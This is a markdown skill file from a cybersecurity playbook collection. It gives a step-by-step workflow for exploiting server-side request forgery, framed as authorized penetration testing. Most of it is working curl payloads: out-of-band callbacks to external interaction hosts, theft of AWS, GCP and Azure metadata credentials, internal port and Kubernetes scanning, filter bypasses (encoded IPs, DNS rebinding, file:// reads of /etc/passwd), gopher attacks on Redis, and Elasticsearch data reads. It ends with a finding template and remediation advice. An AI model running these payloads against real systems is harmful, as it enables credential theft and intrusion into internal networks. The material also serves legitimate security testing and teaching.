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Initial commit - 611 cybersecurity skills across all subdomains
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---
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name: exploiting-server-side-request-forgery
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description: Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.
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domain: cybersecurity
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subdomain: web-application-security
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tags: [penetration-testing, ssrf, owasp, cloud-security, web-security, burpsuite]
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version: "1.0"
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author: mahipal
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license: MIT
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---
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# Exploiting Server-Side Request Forgery
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## When to Use
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- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
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- When testing cloud-hosted applications for access to instance metadata services
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- For assessing PDF generators, screenshot services, or any feature that renders external content
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- When evaluating microservice architectures for internal service access via SSRF
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- During security assessments of APIs that accept URL parameters for data fetching
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## Prerequisites
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- **Authorization**: Written penetration testing agreement including SSRF testing scope
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- **Burp Suite Professional**: With Collaborator for out-of-band detection
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- **interactsh**: Open-source OOB interaction server (`go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest`)
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- **SSRFmap**: Automated SSRF exploitation framework (`git clone https://github.com/swisskyrepo/SSRFmap.git`)
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- **curl**: For manual SSRF payload testing
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- **Knowledge of target infrastructure**: Cloud provider (AWS, GCP, Azure), internal IP ranges
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## Workflow
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### Step 1: Identify SSRF-Prone Functionality
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Map all application features that make server-side HTTP requests.
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```bash
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# Common SSRF-prone features:
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# - URL preview/unfurling (Slack-like link previews)
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# - Webhook configuration endpoints
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# - File import from URL (import CSV from URL)
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# - PDF/screenshot generation from URL
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# - Image/avatar fetching from URL
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# - RSS/feed aggregation
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# - OAuth callback URLs
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# - API proxy/gateway features
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# Test a URL parameter with Burp Collaborator
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# Replace URL values with Collaborator payload
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-H "Authorization: Bearer $TOKEN" \
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-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
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"https://target.example.com/api/fetch-url"
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-H "Authorization: Bearer $TOKEN" \
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-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
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"https://target.example.com/api/webhooks"
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# Test URL in various parameter names
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for param in url uri link href src dest redirect callback webhook \
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image_url avatar_url feed_url import_url proxy_url; do
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echo "Testing param: $param"
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curl -s -o /dev/null -w "%{http_code}" \
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"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
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done
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```
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### Step 2: Access Cloud Instance Metadata
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Test SSRF payloads targeting cloud provider metadata services.
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```bash
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# AWS EC2 Metadata (IMDSv1)
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
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"https://target.example.com/api/fetch-url"
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# AWS - Get IAM role credentials
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
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"https://target.example.com/api/fetch-url"
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# GCP Metadata
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
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"https://target.example.com/api/fetch-url"
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# Azure Metadata
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
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"https://target.example.com/api/fetch-url"
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# DigitalOcean Metadata
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
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"https://target.example.com/api/fetch-url"
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```
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### Step 3: Scan Internal Network via SSRF
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Use the SSRF vulnerability to discover internal services and ports.
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```bash
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# Internal network scanning - common private ranges
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for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
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for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
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echo -n "$ip:$port -> "
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response=$(curl -s --max-time 3 -X POST \
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-H "Content-Type: application/json" \
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-d "{\"url\":\"http://$ip:$port/\"}" \
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"https://target.example.com/api/fetch-url")
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echo "$response" | head -c 100
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echo
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done
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done
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# Kubernetes internal services
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for svc in kubernetes.default.svc \
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kubernetes-dashboard.kubernetes-dashboard.svc \
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kube-dns.kube-system.svc; do
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curl -s --max-time 3 -X POST \
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-H "Content-Type: application/json" \
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-d "{\"url\":\"http://$svc/\"}" \
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"https://target.example.com/api/fetch-url"
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done
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# Access internal admin panels
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for path in /admin /console /actuator/env /server-status /_cat/indices; do
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
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"https://target.example.com/api/fetch-url"
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done
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```
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### Step 4: Bypass SSRF Filters and Allowlists
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When basic payloads are blocked, use bypass techniques.
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```bash
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# IP address encoding bypasses for 127.0.0.1
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PAYLOADS=(
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"http://127.0.0.1/"
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"http://0177.0.0.1/" # Octal
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"http://0x7f.0.0.1/" # Hex
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"http://2130706433/" # Decimal
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"http://127.1/" # Short form
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"http://0/" # Zero
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"http://[::1]/" # IPv6 loopback
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"http://0.0.0.0/" # All interfaces
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"http://localtest.me/" # DNS resolves to 127.0.0.1
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"http://spoofed.burpcollaborator.net/" # DNS rebinding
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"http://127.0.0.1.nip.io/" # Wildcard DNS
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)
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for payload in "${PAYLOADS[@]}"; do
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echo -n "$payload -> "
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curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
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-X POST -H "Content-Type: application/json" \
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-d "{\"url\":\"$payload\"}" \
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"https://target.example.com/api/fetch-url"
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echo
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done
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# URL parsing bypass
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# Embed credentials: http://expected.com@evil.com/
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# Fragment: http://evil.com#expected.com
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# URL encoding: http://127.0.0.%31/
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# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1
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# Protocol bypass
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"file:///etc/passwd"}' \
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"https://target.example.com/api/fetch-url"
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
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"https://target.example.com/api/fetch-url"
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"dict://127.0.0.1:6379/info"}' \
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"https://target.example.com/api/fetch-url"
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```
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### Step 5: Exploit SSRF for Impact Escalation
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Chain SSRF with internal services for maximum impact.
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```bash
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# Access Redis via gopher protocol
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# Craft gopher payload to set a webshell via Redis
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# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
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# This is for authorized testing only
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# Access Elasticsearch
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
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"https://target.example.com/api/fetch-url"
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# Read data from Elasticsearch
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
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"https://target.example.com/api/fetch-url"
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# Access internal Jenkins
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://127.0.0.1:8080/script"}' \
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"https://target.example.com/api/fetch-url"
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# AWS: Retrieve temporary credentials from IAM role
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
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"https://target.example.com/api/fetch-url"
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# Returns: AccessKeyId, SecretAccessKey, Token
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```
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### Step 6: Test Blind SSRF and DNS Rebinding
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For cases where the response is not returned to the attacker.
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```bash
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# Blind SSRF detection using time-based analysis
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# Compare response times for accessible vs inaccessible ports
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time curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://127.0.0.1:22/"}' \
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"https://target.example.com/api/fetch-url"
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time curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://127.0.0.1:12345/"}' \
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"https://target.example.com/api/fetch-url"
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# DNS rebinding attack
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# 1. Set up a DNS server that alternates between:
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# - First query: returns attacker IP (passes allowlist)
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# - Second query: returns 127.0.0.1 (targets internal service)
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# 2. Use a rebinding service like rbndr.us
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curl -s -X POST \
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-H "Content-Type: application/json" \
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-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
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"https://target.example.com/api/fetch-url"
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# rbndr.us alternates DNS responses between the two encoded IPs
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```
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## Key Concepts
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| Concept | Description |
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|---------|-------------|
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| **SSRF** | Server-Side Request Forgery - making the server send requests to unintended destinations |
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| **Blind SSRF** | SSRF where the response is not returned to the attacker, requiring OOB detection |
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| **Cloud Metadata** | Instance metadata services (169.254.169.254) exposing credentials and configuration |
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| **Gopher Protocol** | Protocol allowing raw TCP data transmission, enabling attacks on internal services |
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| **DNS Rebinding** | DNS attack that switches IP resolution to bypass SSRF hostname allowlists |
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| **TOCTOU** | Time-of-check to time-of-use race condition in URL validation |
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| **IMDSv2** | AWS metadata service v2 requiring session tokens, mitigating basic SSRF |
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| **Open Redirect Chain** | Using an open redirect to bypass URL allowlists in SSRF filters |
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## Tools & Systems
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| Tool | Purpose |
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|------|---------|
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| **Burp Suite Professional** | Request modification and Collaborator for blind SSRF detection |
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| **SSRFmap** | Automated SSRF exploitation framework with protocol support |
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| **interactsh** | Out-of-band interaction detection for blind SSRF |
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| **Gopherus** | Generates gopher payloads for exploiting internal services |
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| **rbndr.us** | DNS rebinding service for SSRF filter bypass |
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| **singularity** | DNS rebinding attack framework for automated exploitation |
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## Common Scenarios
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### Scenario 1: Webhook URL SSRF to AWS Credentials
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A webhook configuration endpoint allows specifying a callback URL. Pointing it to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.
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### Scenario 2: PDF Generator SSRF
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A feature that generates PDFs from URLs makes server-side requests. Providing `http://127.0.0.1:8080/admin` as the URL generates a PDF containing the internal admin panel content.
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### Scenario 3: Image URL SSRF with Protocol Bypass
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An avatar URL field is filtered for HTTP/HTTPS but accepts `file://` protocol. Using `file:///etc/passwd` as the avatar URL causes the server to read local files and include content in the response.
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### Scenario 4: Blind SSRF to Internal Redis
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A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.
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## Output Format
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```
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## SSRF Vulnerability Finding
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**Vulnerability**: Server-Side Request Forgery (Full SSRF)
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**Severity**: Critical (CVSS 9.1)
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**Location**: POST /api/webhooks - `callback_url` parameter
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**OWASP Category**: A10:2021 - Server-Side Request Forgery
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### Reproduction Steps
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1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
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2. Server makes request to AWS metadata endpoint
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3. Response contains AWS instance metadata including IAM role name
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4. Follow up with IAM credentials endpoint to retrieve temporary access keys
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### Confirmed Access
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| Target | Protocol | Response |
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|--------|----------|----------|
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| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
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| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
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| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
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| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
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### Impact
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- AWS IAM temporary credentials exfiltrated (S3 read/write access)
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- Internal Redis server accessible (potential RCE)
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- Internal Elasticsearch data exposed (user records)
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- Full internal network scanning capability
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### Recommendation
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1. Implement strict URL allowlisting (only allow known trusted domains)
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2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
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3. Upgrade to AWS IMDSv2 (requires session token header)
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4. Disable unused URL protocols (gopher, file, dict, ftp)
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5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls
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```
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